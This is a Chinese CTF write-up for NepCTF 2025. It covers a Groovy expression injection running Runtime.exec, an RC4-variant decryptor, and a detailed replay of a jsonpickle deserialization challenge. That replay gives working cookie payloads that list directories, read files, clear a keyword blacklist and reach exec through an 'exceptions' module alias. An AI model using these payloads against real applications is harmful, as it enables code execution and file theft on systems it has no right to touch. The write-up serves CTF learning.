0%

NepCTF2025题解以及web复现

感觉我能做出来的大家应该也都没问题,那就简单写写主要思路,后面的复现我会详细的去说

web

easyGooGooVVVY

简单了解一下反射机制与groovy表达式注入
payload

1
2
3
4
5
6
return "".class
.forName("java.lang.Runtime")
.getMethod("getRuntime", [] as Class[])
.invoke(null, null)
.exec("env")
.inputStream.text

RevengeGooGooVVVY

审了一下附件,自己重构的payload打不过去,后来发现第一题的payload也可以过关

1
2
3
4
5
6
return "".class
.forName("java.lang.Runtime")
.getMethod("getRuntime", [] as Class[])
.invoke(null, null)
.exec("env")
.inputStream.text

JavaSeri

看到cookie是rememberMe,就知道是shiro
用工具去一把梭了

Re

realme

附件丢给ChatGPT分析一下,自己再分析一下,应该是打热补丁和变种rc4
解决热补丁之后变种rc4模板直接套

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define N 256
#define FLAG_LEN 35

const char *Str = "Y0u_Can't_F1nd_Me!";
const uint8_t v7[FLAG_LEN] = {
'P','Y',162,148,46,142,92,149,121,22,
229,54,96,199,232,6,51,120,240,208,
54,200,115,27,101,64,181,212,232,156,
101,244,186,98,208
};

void ksa_mod(uint8_t S[N]) {
int v6 = 0;
for (int i = 0; i < N; i++) {
S[i] = (uint8_t)(i ^ 0xCF);
}
for (int i = 0; i < N; i++) {
uint8_t k = (uint8_t)Str[i % strlen(Str)];
v6 = (v6 + k + S[i]) & 0xFF;
uint8_t tmp = S[i];
S[i] = S[v6];
S[v6] = tmp ^ 0xAD;
}
}

void decrypt(uint8_t S[N], const uint8_t cipher[FLAG_LEN], char out[FLAG_LEN+1]) {
int v9 = 0, v8 = 0;
for (int i = 0; i < FLAG_LEN; i++) {
v9 = (v9 + 1) & 0xFF;
v8 = (v8 + v9 * S[v9]) & 0xFF;
uint8_t tmp = S[v9];
S[v9] = S[v8];
S[v8] = tmp;
int v4 = (S[v8] + S[v9]) & 0xFF;
uint8_t c = cipher[i];
uint8_t p;
if (i & 1) {
// 奇数位 c = p + S[v4] -> p = c - S[v4]
p = (uint8_t)(c - S[v4]);
} else {
// 偶数位 c = p - S[v4] -> p = c + S[v4]
p = (uint8_t)(c + S[v4]);
}
out[i] = (char)p;
}
out[FLAG_LEN] = '\0';
}

int main(void) {
uint8_t S[N];
char flag[FLAG_LEN+1];

ksa_mod(S);
decrypt(S, v7, flag);
printf("%s", flag);
return 0;
}

Misc

NepBotEvent

稍微了解一下keylogger,然后知道应该是把键盘事件写入这个Linux内核文件里了
丢给ChatGPT分析即可

客服小美

用户名和木马地址都很好找,C2服务器很明显只有一条ip,ctftools工具箱一把梭了
后续要分析泄漏信息,把流量包交到CTF-NetA工具中,发现CS流量,上网找文章和脚本按步骤解密即可
一开始本来分离出了流量包中的stage文件,但是不知道为什么一直打不通
后面看到了这篇文章,想到题目既然给了,那应该要用进程内存解密
https://geekdaxue.co/read/jianouzuihuai@tools/cs_decrypt

SpeedMino

她高中的时候送我过一台小游戏机,只能玩俄罗斯方块的那种。今天重新见到俄罗斯方块,不禁怀念起那个时候。
或许是为了缅怀逝去的青春吧,我决定自己打到2600分,一次又一次的尝试,恍惚间我似乎忘记了flag的事情,似乎我只要一直打下去,就能回到那个夏天
当我回过神来,生活只剩下遍地狼藉,空落落的怀里,不见了那台小游戏机
(最后我是ce开倍速精灵开到100000倍速秒过的,青春过去的总是很快,暗自神伤时,总会想起那一句:往事总在回忆中被赋予意义;这张语文卷,似乎也是我青春的仓促谢幕吧)

最后想想讲讲自己的青春,或许也算得上是有趣吧

复现

(主要讲我自己的感受,学习的话还得看拉蒙特徐的博客)

safe_bank

这题我一直在蒸,虽然成功读到了源码,但是看到黑名单的那一刻我真的绝望了啊

  1. 测试
    一眼就知道cookie有猫腻,改成admin发包之后发现只有假flag,查看了关于我们,应该是要打jsonpickle反序列化

稍微学习一些关于jsonpickle反序列化的知识,我贴两篇具体文章
https://xz.aliyun.com/news/16133
https://sugarp1g.github.io/2022/01/18/jsonpickle/
大概了解一下流程与操作

接下来看看注入点
我们的cookie解base64之后是

1
{"py/object": "__main__.Session", "meta": {"user": "admin#", "ts": 1753669872}}

时间戳这玩意纯假的,我随便贴都能过,说明后端是没什么校验的
那只能在admin处存在注入点了

  1. 读源码

按照文章中的payload一个个去尝试
https://xz.aliyun.com/news/16133
我基本上测了一圈,全部被ban,当时真的是要绝望了啊
(其实这里应该立马关注到py/object这条链子,因为cookie里就有object,普通的cookie可不会被过滤啊)
后面看到这两条,前面我已经测过os会被ban,于是就试了一下glob.glob这条链子

1
2
{'py/object': 'glob.glob', 'py/newargs': {'/*'}}
{'py/object': 'os.listdir', 'py/newargs': ['/']}

发现了这条链子没被过滤,但是也没有被执行
alt text

然后自己去改了一下,通过我贴的文章,大致可以了解到py/newargs和py/newargsex两者的区别(详细的可以看拉蒙特徐的博客)
那就把py/newargs改成py/newargsex
然后发现不起作用,我之前有过这方面的经验,感觉上应该是单引号和双引号的问题,于是把单引号改为双引号
OK这下是过了,但是报错了(但这起码说明了我们引号是改对了)
(以下是错误的payload)

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": {'/*'}}, "ts": 1753669872}}

alt text

深入的去学习了一下newargs和newargsex之间的差别,再问了一下ChatGPT,应该是py/newargsex对应的参数结构不对,我就让AI生成了一个,最后结合我们之前已经测出来的部分黑名单,写出正确的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "glob.glob",
"py/newargsex": [
{
"py/set": ["/*"]
},
""
]
},
"ts": 1753669872
}
}

成功读取
alt text
注意到/readflag

1
{'py/object': 'linecache.getlines', 'py/newargs': ['/flag']}

就用这条payload来读文件
按照上面列目录的方法来改这条payload
alt text
发现成功读取,那么我们把源码交给AI整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

# ---- 数据模型 ----
class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd

class Session:
def __init__(self, meta):
self.meta = meta

# ---- 模拟数据库 ----
users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]

def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True

# ---- WAF 规则 ----
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized: str):
"""
简单的关键字过滤:只要 payload 中出现禁止词就返回该词,否则返回 None。
"""
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except Exception:
return "error"

# ---- 路由定义 ----
@app.route('/')
def root():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")
if password != confirm_password:
return render_template('register.html', error="密码不匹配。")
if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")
if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")

return render_template('register.html')

@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()

resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp

return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))

try:
decoded = base64.b64decode(token).decode()
except Exception:
return render_template('error.html', error="Token格式错误。")

ban = waf(decoded)
if ban:
return render_template('error.html', error=f"请不要黑客攻击!{ban}")

try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))

return render_template('admin_panel.html')
except Exception:
return render_template('error.html', error="数据解码失败。")

@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))

try:
decoded = base64.b64decode(token).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")

sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta
if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
return render_template('vault.html', flag=flag)
except Exception:
return redirect(url_for('root'))

@app.route('/about')
def about():
return render_template('about.html')

# ---- 启动 ----
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

注意看黑名单

1
2
3
4
5
6
7
8
9
10
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

笑死我了根本打不动一点,我学到的链子基本上都要靠这其中的两种到三种方法,而且

1
payload = json.dumps(data, ensure_ascii=False)

unicode编码绕过也行不通

然后我这题就没做出来

赛后问拉蒙特徐,他的大胆想法直接给我惊呆了
他直接用list.clear()的方法把黑名单给扬了(我哩个大豆)

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}

在他的博客中也详细的讲到了如何去验证这个poc,我这里就不多说了,大家可以去看他的博客,就在我的友链最上方(真的是恩师啊)

黑名单扬了之后大家就都会做了,这里就不多赘述(主要是这个想法太大胆,我之前从来没有想到过)

补档之预期解

现在是7月18号晚上8点29,群里大家都在聊safe_bank,把黑名单扬了的做法官方说是非预期,然后就有预期解大佬出来现身说法

注意到源码util.py下的某函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def translate_module_name(module: str) -> str:
"""Rename builtin modules to a consistent module name.

Prefer the more modern naming.

This is used so that references to Python's `builtins` module can
be loaded in both Python 2 and 3. We remap to the "__builtin__"
name and unmap it when importing.

Map the Python2 `exceptions` module to `builtins` because
`builtins` is a superset and contains everything that is
available in `exceptions`, which makes the translation simpler.

See untranslate_module_name() for the reverse operation.
"""
lookup = dict(__builtin__='builtins', exceptions='builtins')
return lookup.get(module, module)

此处为了兼容python2,把exception当成builtins了

再看一下我们上面的黑名单

1
2
3
4
5
6
7
8
9
10
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

exception并不在内,那直接构造链子打就行了!!!
(一定要培养强大的代审能力)
那payload手搓都可以了,原理就是exception.eval=builtins.eval

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"exceptions.exec","py/newargsex": ["???"]},"ts":1753706694}}

问号那个地方我一直写不明白,因为我感觉我总是得用到os等关键字,然后去问了下lmtx
alt text
666又学到新东西了,好开心